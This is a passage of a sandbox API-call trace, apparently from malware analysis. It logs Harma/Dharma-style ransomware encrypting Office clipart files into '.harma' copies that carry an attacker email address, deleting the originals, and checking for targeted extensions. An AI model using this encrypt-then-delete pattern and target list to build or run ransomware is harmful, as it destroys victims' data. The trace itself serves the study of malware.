lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xb90, lpOverlapped=0x0) returned 1 [0150.763] WriteFile (in: hFile=0x2e8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0150.764] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.764] WriteFile (in: hFile=0x2e8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.764] SetEndOfFile (hFile=0x2e8) returned 1 [0150.764] CloseHandle (hObject=0x2e8) returned 1 [0150.764] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.764] SetEndOfFile (hFile=0x21c) returned 1 [0150.766] CloseHandle (hObject=0x21c) returned 1 [0150.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0150.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.779] lstrlenW (lpString=".doc") returned 4 [0150.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString=".docx") returned 5 [0150.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.780] lstrlenW (lpString=".pdf") returned 4 [0150.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString=".xls") returned 4 [0150.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.780] lstrlenW (lpString=".xlsx") returned 5 [0150.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.780] lstrlenW (lpString=".ppt") returned 4 [0150.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.780] lstrlenW (lpString=".zip") returned 4 [0150.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.780] lstrlenW (lpString=".rar") returned 4 [0150.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString=".bz2") returned 4 [0150.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString=".7z") returned 3 [0150.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.780] lstrlenW (lpString=".dbf") returned 4 [0150.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.780] lstrlenW (lpString=".1cd") returned 4 [0150.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.780] lstrlenW (lpString=".jpg") returned 4 [0150.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.781] lstrlenW (lpString=".doc") returned 4 [0150.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.781] lstrlenW (lpString=".docx") returned 5 [0150.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.781] lstrlenW (lpString=".pdf") returned 4 [0150.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.781] lstrlenW (lpString=".xls") returned 4 [0150.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.781] lstrlenW (lpString=".xlsx") returned 5 [0150.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.781] lstrlenW (lpString=".ppt") returned 4 [0150.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.781] lstrlenW (lpString=".zip") returned 4 [0150.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.781] lstrlenW (lpString=".rar") returned 4 [0150.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.781] lstrlenW (lpString=".bz2") returned 4 [0150.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.781] lstrlenW (lpString=".7z") returned 3 [0150.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.781] lstrlenW (lpString=".dbf") returned 4 [0150.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.781] lstrlenW (lpString=".1cd") returned 4 [0150.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0150.781] lstrlenW (lpString=".jpg") returned 4 [0150.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.782] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.782] lstrlenW (lpString="DD01163_.WMF") returned 12 [0150.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.782] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2300) returned 1 [0150.782] CloseHandle (hObject=0x34c) returned 1 [0150.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0150.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.783] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.783] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.783] GetLastError () returned 0x0 [0150.784] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0150.849] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x900, lpOverlapped=0x0) returned 1 [0150.851] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.851] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.851] SetEndOfFile (hFile=0x384) returned 1 [0150.851] CloseHandle (hObject=0x384) returned 1 [0150.851] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.851] SetEndOfFile (hFile=0x34c) returned 1 [0150.853] CloseHandle (hObject=0x34c) returned 1 [0150.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0150.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.855] lstrlenW (lpString=".doc") returned 4 [0150.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.855] lstrlenW (lpString=".docx") returned 5 [0150.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.855] lstrlenW (lpString=".pdf") returned 4 [0150.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.855] lstrlenW (lpString=".xls") returned 4 [0150.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.855] lstrlenW (lpString=".xlsx") returned 5 [0150.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.855] lstrlenW (lpString=".ppt") returned 4 [0150.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.855] lstrlenW (lpString=".zip") returned 4 [0150.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.855] lstrlenW (lpString=".rar") returned 4 [0150.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.855] lstrlenW (lpString=".bz2") returned 4 [0150.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.855] lstrlenW (lpString=".7z") returned 3 [0150.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.855] lstrlenW (lpString=".dbf") returned 4 [0150.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.855] lstrlenW (lpString=".1cd") returned 4 [0150.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.856] lstrlenW (lpString=".jpg") returned 4 [0150.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.856] lstrlenW (lpString=".doc") returned 4 [0150.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.856] lstrlenW (lpString=".docx") returned 5 [0150.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.856] lstrlenW (lpString=".pdf") returned 4 [0150.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.856] lstrlenW (lpString=".xls") returned 4 [0150.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.856] lstrlenW (lpString=".xlsx") returned 5 [0150.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.856] lstrlenW (lpString=".ppt") returned 4 [0150.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.856] lstrlenW (lpString=".zip") returned 4 [0150.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.856] lstrlenW (lpString=".rar") returned 4 [0150.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.856] lstrlenW (lpString=".bz2") returned 4 [0150.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.856] lstrlenW (lpString=".7z") returned 3 [0150.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.857] lstrlenW (lpString=".dbf") returned 4 [0150.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.857] lstrlenW (lpString=".1cd") returned 4 [0150.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0150.857] lstrlenW (lpString=".jpg") returned 4 [0150.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.857] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.857] lstrlenW (lpString="DD01168_.WMF") returned 12 [0150.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.858] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2004) returned 1 [0150.858] CloseHandle (hObject=0x34c) returned 1 [0150.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0150.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.858] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.858] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.859] GetLastError () returned 0x0 [0150.859] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x7d4, lpOverlapped=0x0) returned 1 [0150.931] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7e0, lpOverlapped=0x0) returned 1 [0150.932] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.932] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.932] SetEndOfFile (hFile=0x384) returned 1 [0150.932] CloseHandle (hObject=0x384) returned 1 [0150.932] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.933] SetEndOfFile (hFile=0x34c) returned 1 [0150.935] CloseHandle (hObject=0x34c) returned 1 [0150.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0151.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.183] lstrlenW (lpString=".doc") returned 4 [0151.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.183] lstrlenW (lpString=".docx") returned 5 [0151.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.183] lstrlenW (lpString=".pdf") returned 4 [0151.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.183] lstrlenW (lpString=".xls") returned 4 [0151.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.183] lstrlenW (lpString=".xlsx") returned 5 [0151.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.183] lstrlenW (lpString=".ppt") returned 4 [0151.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.183] lstrlenW (lpString=".zip") returned 4 [0151.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.183] lstrlenW (lpString=".rar") returned 4 [0151.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.183] lstrlenW (lpString=".bz2") returned 4 [0151.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.183] lstrlenW (lpString=".7z") returned 3 [0151.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.183] lstrlenW (lpString=".dbf") returned 4 [0151.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.183] lstrlenW (lpString=".1cd") returned 4 [0151.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.183] lstrlenW (lpString=".jpg") returned 4 [0151.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.184] lstrlenW (lpString=".doc") returned 4 [0151.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString=".docx") returned 5 [0151.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.184] lstrlenW (lpString=".pdf") returned 4 [0151.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString=".xls") returned 4 [0151.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.184] lstrlenW (lpString=".xlsx") returned 5 [0151.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.184] lstrlenW (lpString=".ppt") returned 4 [0151.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.184] lstrlenW (lpString=".zip") returned 4 [0151.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.184] lstrlenW (lpString=".rar") returned 4 [0151.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString=".bz2") returned 4 [0151.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString=".7z") returned 3 [0151.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.184] lstrlenW (lpString=".dbf") returned 4 [0151.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.184] lstrlenW (lpString=".1cd") returned 4 [0151.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0151.184] lstrlenW (lpString=".jpg") returned 4 [0151.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.185] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.185] lstrlenW (lpString="DD01171_.WMF") returned 12 [0151.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.185] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2052) returned 1 [0151.185] CloseHandle (hObject=0x364) returned 1 [0151.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0151.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.186] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.186] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0151.186] GetLastError () returned 0x0 [0151.187] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x804, lpOverlapped=0x0) returned 1 [0151.189] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x810, lpOverlapped=0x0) returned 1 [0151.190] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.190] WriteFile (in: hFile=0x360, 